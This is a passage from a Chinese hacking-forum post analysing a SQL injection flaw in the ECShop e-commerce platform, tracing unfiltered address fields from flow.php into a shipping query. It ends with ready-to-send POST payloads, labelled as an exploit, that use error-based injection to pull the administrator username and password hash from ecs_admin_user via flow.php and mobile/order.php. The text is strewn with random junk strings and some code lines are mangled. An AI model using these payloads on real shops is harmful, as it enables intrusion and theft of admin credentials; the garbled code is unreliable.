中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 e+ o! b% e6 b# R5 t- u: l0 r
# ]7 i2 d% R& ]( I$ a    漏洞关键文件:# p( u. x/ ^+ |3 u6 @  e$ J
, q/ Q9 f- C$ z! l$ m- q2 d( N
    /includes/lib_order.php
% [0 X% ]2 x- y+ `3 J
' T8 i6 ?% O. P& P, J    关键函数:
# L3 ~4 }8 c  m- O3 a2 K8 A. D; I2 M
# F! X2 O; o, i% x$ ?. H+ e1 a! _

, v0 d, I) Y6 N9 M  D  p01     function available_shipping_list($region_id_list) 0 i) ~7 y! [2 Q; b9 g3 {. b3 a( t
# L( S( J. D1 v% ?5 i
02 { ) E' ~6 ~9 x1 m7 o; r

# y$ |+ f: I+ V03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . $ A+ a) z, v  H% D( y! G# o1 b
4 l, I* v, k5 s& z& V% k/ r: ~
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 6 r+ B- j" T0 h% q! E" a

6 |& u4 t$ q6 U$ \, x05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . / }1 x! L8 H0 v% e0 j, l) _: _

( B' }) G4 J7 Q, a06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
& B! l2 O& @9 j1 w6 B
# J7 A+ U/ ]7 B& r07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
. D! a7 s, q: A7 Q- @* \2 _2 m' K! f  H! b8 @; S7 K
08             'WHERE r.region_id ' . db_create_in($region_id_list) . ( {) D: s2 z$ ~5 j
9 u) s' U4 L7 c3 H& W
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
9 U. A/ _% C; g- ^+ X, Y6 s; i6 ?
4 X% S( Z/ E# S9 u9 N2 Q10   
$ N4 s  W$ I8 ^" x
& j# j! d9 g& j" p- x11     return $GLOBALS['db']->getAll($sql); 0 s! B! E7 t& J6 j+ }

3 f* x9 }3 d9 E. K5 t. a- t12 }
. Q( P6 A1 ?- I0 z2 d
9 d& J4 D% T5 h3 x+ L显然对传入的参数没有任何过滤就带入了查询语句。  `+ v7 C, T# A1 k- Y+ [
: e9 [! R" p+ ]
下面我们追踪这个函数在flow.php中:
  q- |+ N/ T9 d 第531行:   3 j3 y" k) u+ U- j1 B9 H" b' J

$ V$ N$ w5 y5 R2 w1 e. Y1 $shipping_list     = available_shipping_list($region); & r$ O6 k$ q, z3 N1 K' f
  S' U  i! O4 r. m
; z% V3 f. p. c/ m

6 B  T; _4 j" J# o" N: d% ]' S / e) f& Y/ i; A- `' O4 V# i

9 b' G) S6 b- f再对传入变量进行追踪:
% t* D2 p- l, Y2 ^% }1 p- D: v, |. `9 x& @( x2 k6 J1 A
第530行:   
$ ]/ l/ j# x' }* W
5 T$ x4 q; Y3 s1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); : S5 `0 c, _/ l- i/ K5 T

& g( N9 c$ @& v: f; w4 ~4 C * M% |* [" f  \6 T5 ^
, `$ U( K0 m/ A

( l% ^. ]: }9 B0 ^3 y3 U
9 j; ^& B* _; A4 y7 r第473行:        
( }1 ]) `$ E, y" C
+ N- G. G, U9 N# Q, ?$ h1 $consignee = get_consignee($_SESSION['user_id']);
* l) T9 |7 K+ t6 y' |2 q; W2 k  k1 W* T8 D& H- x# m8 S$ U
到了一个关键函数:8 l) X$ e; V( i* ~0 Q+ O

8 S6 _2 W% D" z3 l5 @- V# |9 w/includes/lib_order.php5 l% o% ]5 a4 O% p7 R0 t" m! h1 Q

, s( y* h" g- ~! r' I5 C
5 V$ F! G; b$ c9 Z- m: i
& W* F4 F4 p1 b& i- o
# |* m$ e6 w- n7 V6 u* w/ R2 r0 z
5 O( Z. ~. Q, @  W0 I$ m01 function get_consignee($user_id) 6 O' S9 j/ {" Q4 C- y1 Q; o
1 b( r2 o: Z. g! ?6 A
02 { - Y% N6 K6 L0 n5 h2 o8 h
0 g+ y$ a" K: b" E: C: s6 e
03     if (isset($_SESSION['flow_consignee']))
0 T! x) G. O; n) ~  u3 S
, l- e/ @% ~( Q5 p04     {
9 E5 b. C6 F$ U0 _" s$ f0 E% y
7 W3 T' t  |0 w- P, a0 o! o05         /* 如果存在session,则直接返回session中的收货人信息 */
& T: n4 v& S, C- d, \% l% ^9 C  w& @9 l( _/ I3 C9 U, l. D6 F6 a+ g
06   2 P& Y0 l( M  s1 o$ X5 ]4 ~" |
1 d6 E! @$ b: O6 t6 t7 x* b" ]
07         return $_SESSION['flow_consignee'];
% r2 d( {, n. _/ D/ B2 \" A
. R* c2 Q% S7 m+ X, C1 W* j  I08     } : B6 P9 _$ c1 k+ I/ a1 \# u4 X
2 l! f& y# d6 A% |: O+ D0 D4 b
09     else . L. e# Z$ z4 e# B

4 D/ O! Y- l6 f1 A7 C. \' i10     { ' y5 K# w; X3 s6 U
9 g- n- q% F4 o, p
11         /* 如果不存在,则取得用户的默认收货人信息 */
+ P- ~8 ?4 U8 i1 C: q6 d1 j7 O' J  V$ h2 e. c2 z
12         $arr = array(); * I) S8 x/ }( M- q5 f9 y# {2 E

" _6 b/ a6 a1 C# g# j5 x5 ?13   
/ _. r6 z& E/ U
+ g3 D5 U- M( K# Y) c9 T4 H( B14         if ($user_id > 0) , Z3 ]  t, Y) \, N& L
" j7 t" X2 n! n1 q7 [% c
15         {
6 q+ V+ N9 I1 E' G3 A8 D
/ `3 B; r% }/ J5 {& A8 D2 ?16             /* 取默认地址 */
) ?: p" V% D* P' g' Y, Z* t
7 F+ x8 {2 z, q" r: ~17             $sql = "SELECT ua.*".
4 Y9 ?) y3 a1 x1 S& z2 i; `
" l) Q& j' U$ M3 p* G18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
; o' ]  ]! m% ^3 j1 M! L6 K# v. m( O5 f# G
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
5 m. `" P$ _4 c4 }4 X6 V$ W8 @1 \( I" e" k" Q
20   
" N0 j: t/ [  W7 J7 r
5 n+ o5 J3 x* I) C5 c/ c21             $arr = $GLOBALS['db']->getRow($sql);
" q# p. l% ]+ L" U) c6 O
& n7 x) ~( X1 W6 _, a# o22         }
1 o6 ], B6 D+ W4 z" f, `* u+ K, s) [
23   9 F1 B: B* m) s) b
2 @0 K+ Y! E. l6 r' j1 H
24         return $arr; - U) [- y% P( Z# g+ c+ Y+ m
: s8 e- T$ `% b$ C  q9 X
25     } ' @) ^7 f4 i3 V( T, M8 S
4 W4 q0 W' c6 z6 `4 D7 m
26 } " p4 w$ v* f# T6 W  {/ L
( l! ]9 w! T. {; ]% E, d+ f
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?+ D% @; }# F3 v! N. U

1 h" W! u# W4 w0 G
( T. j9 ]3 L% j: }' \% m1 t. Z9 ~
( }' ^2 q' \, t- {/ v3 q关键点:; q+ ?8 `9 B4 k5 K
/ c! ^. l" Y1 E+ b1 r8 R
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 p6 T; R$ d: {, e' Q4 H, V. H
4 L  U' M9 y& L. a/ ^! \  A' a这里对传入参数反转义存入$_SESSION中。2 Q/ ~5 o9 Y! \% Y
1 O6 N$ c& y, p" C8 I

3 w% Z2 |  l" l2 @: L5 n8 ^6 t$ j6 a  l1 M/ B9 A& [2 Z) r, j9 F
然后看下:8 c" U4 k- k) q$ L) K7 T! F
; u3 d1 n7 E1 u- l0 {

0 ?6 Q4 r* g3 r3 h/ M
: g3 `+ {) h/ F) E+ O% t- Y/ {    0 t# i8 B  w( X8 A; l0 {
+ Q. D  ^7 k# d" t& @( B+ M/ ]
01 $consignee = array(
# J8 V( P, O1 b0 g
. [4 r5 Q$ Q3 S8 K2 Q02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), " |6 F4 G5 {0 `/ Y2 x9 p# X9 ?

9 r/ t# S+ O( b3 A. i, s* F9 ^6 T* h03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
. v+ T$ [7 s+ j8 h& O! m6 j/ I- T5 B, G+ r5 ^1 n
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
7 b* C0 }, @) X. [8 v, ~2 P" g4 X  X  }
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 9 S( c# Y1 E- c

$ E( [4 j0 n- n8 r; I06         'city'          => empty($_POST['city'])       ? '' _POST['city'], - v1 W$ \; d  f+ {
$ G, ~/ I# z- c% U0 C
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], " L' @& @9 l+ N9 }
; V  L+ O+ C4 b% ~+ I* s
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], & y* P+ K1 [& [' b, Q) C1 p. d
0 b" ^6 R$ u; @, Q6 b& y
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], # n( Q/ Q: K: p! R) g; W

, J6 e6 z$ k9 N8 }10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
9 Z' i& w& I9 J2 L6 j& o- {( ]. j1 j) h
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 3 H2 b6 o% _: a) N* X

% v: ]; R: P8 p- V% s7 w12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ! t8 v* [1 a9 S
8 j1 E1 p5 B' D4 i+ _3 K5 Y. L
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
  W' K0 R+ M$ u( G& p' A% J# n; I
; U* @" Q$ L; L, J$ D+ R6 A14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
  v# F- e' A3 y2 M0 W1 g$ C
) `- \0 N: g0 B# s3 ]% Q' I15     ); : w8 R  y& ]. r
7 V2 k! E: \# S2 @
好了注入就这样出现了。1 l( K/ l& y: s( J5 q( V6 p* l
! |# d: p% m8 Z
==================, W, |+ J3 L8 k! u
) E) X: B$ Z# h( b% m# x) O
注入测试:/ _9 O0 Q8 q1 H/ b7 {' V2 g

, @2 H; W/ d$ {- |2 o8 C2 R环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
. G/ H7 l: f9 |( E. W7 h
$ Q5 |3 c0 g; W测试程序:ECShop_V2.7.3_UTF8_release1106, A& G9 A+ a9 d5 v+ |4 x) Y4 Y
9 w4 {: N# ^8 V1 e. H( A

! X, n" S) y4 w# `! S  Q
+ K4 ~! U  N! k/ S$ E. X2 r1.首先需要点击一个商品加入购物车
6 @- m" p: n  I+ m5 D$ a7 n1 j  h5 X" C2 }) r# }# G8 `
2.注册一个会员帐号2 L$ U! K6 m0 D- N5 p% j

$ D, C) L$ @! L9 K) P$ x3.post提交数据6 f' G5 K2 _# x6 F8 e
$ x, D# h# k8 Y! d+ k

  U; G8 h& W  Q, P" v. U) Z) y$ Z$ g  s/ p! E+ \4 _- W
1 http://127.0.0.1/ecshop/flow.php
  @6 I* o9 w( g% k; D& L; M3 T
3 [6 l. l( ?; R) Z2 X# E7 C2   
9 F, y) P8 @0 s/ d! t5 }& [3 [: A0 x$ l# o2 K7 @
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 k% W: S! e" W4 \7 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:- [# U1 W" h2 B6 R# b1 x
* J% u7 }) u9 _# D$ a2 w
我们搜寻关键函数function available_shipping_list()8 y; `: ~4 H  @

* ~9 @. \2 C! ^# d, `" }在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同' f- V( v8 w- [: C: B  W% A8 w% M
: k; T0 r) F/ U+ O: i0 ?3 u
利用exp:5 E* A5 t# \. f
9 i3 A6 ?& f) e
1.点击一个商品,点击购买商标
( u4 W2 U% J7 N. N
) j* Q$ t; p. m4 X/ G4 K0 p2.登录会员帐号$ R2 _0 e2 C) h9 ?9 {; b
% L4 {" g1 J; o/ y: ~( W! e
3.post提交:! j) P# u4 n/ h5 b$ I! h

! \3 c7 R- F- Q2 i, Dhttp://127.0.0.1/ecshop/mobile/order.php
& b6 k. d0 m! J* w) M! \4 N( Z
7 r" U" a3 y1 n, x $ R: Z# S; W5 S
# L5 h1 X' {4 o
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
1 A6 C( D- `- |+ f& k/ g5 F) Y* k$ t5 ~# Z. K2 {" o1 a5 J$ y! f% n





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2